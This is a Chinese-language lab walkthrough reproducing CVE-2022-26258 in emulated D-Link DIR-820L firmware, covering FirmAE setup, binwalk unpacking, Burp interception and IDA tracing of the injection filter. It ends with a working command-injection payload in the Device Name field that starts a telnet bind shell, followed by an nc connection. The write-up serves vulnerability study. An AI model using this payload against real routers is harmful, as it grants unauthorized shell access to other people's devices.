固件地址:http://www.dlinktw.com.tw/techsupport/download.ashx?file=2663

环境 Ubuntu18,(22 在模拟固件时会有问题)

FirmAE 下载

1
2
3
4
5
6
7
8
# 从GitHub克隆项目
git clone --recursive https://github.com/pr0v3rbs/FirmAE

# 运行download.sh脚本,下载相关程序
./download.sh

#运行安装脚本
./install.sh

binwalk 下载

1
2
3
pip3 install git+https://github.com/ReFirmLabs/binwalk.git
cd binwalk
python3 setup.py install

CVE-2022-26258 固件模拟无法转发至宿主机,所以在 Ubuntu18 中安装 bp 进行操作

可以参考以下师傅的文章https://blog.csdn.net/dustbinhoj/article/details/128587565

使用binwalk 进行解包

1
binwalk -Me DIR820LA1_FW105B03.bin

固件模拟

在 FirmAE 文件夹中进行固件模拟,第一次运行时间较长,大约在 10-20 分钟左右,后面再次执行速度就会很快

1
sudo ./run.sh -r DIR820L /home/blonet/下载/CVE/CVE-2022-26258/DIR820LA1_FW105B03.bin

红框为模拟的 web 页面 ip 地址(默认端口为 80)

bp 进行抓包

打开 bp 内置浏览器,访问 192.168.0.1,点击取消

密码为空,直接 log in 即可

我们漏洞利用点就在 Device Name 中

点击发送 bp 抓包

在 lan.asp 文件中搜索 lanHostCfg_DeviceName_1.1.1.0 发现存入到paramStr 中

paramStr 为函数的返回值

搜索copyDataToDataModelFormat 函数返回给谁

最后定位到get_set.ccp 这个函数

1
2
grep -r "get_set" | grep "匹配到二进制文件"
#在文件中进行搜索相关的文件

定位到 ncc2 这个文件,使用 ida 打开,shift+F12 字符串搜索,Device_Name

传入的 obj 分别通过了hasInjectionString 函数和_system 函数。

继续对hasInjectionString 字符内容进行文件搜索,定位到libleopard.so 文件,使用 ida 进行打开

hasInjectionString 函数中为字符串过滤

__system 为拼接字符串并且执行

将 bp 里面值改为

1
lanHostCfg_DeviceName_1.1.1.0=%0atelnetd -l /bin/sh -p 7080 -b 0.0.0.0%0a

含义为:启动一个telnet服务器并在端口7080上监听所有网络接口。该命令可以让远程用户通过telnet协议登录到该服务器并在/bin/sh shell中执行命令。

后续 nc 连接即可获取 shell

1
nc -nvv 192.168.0.1 7080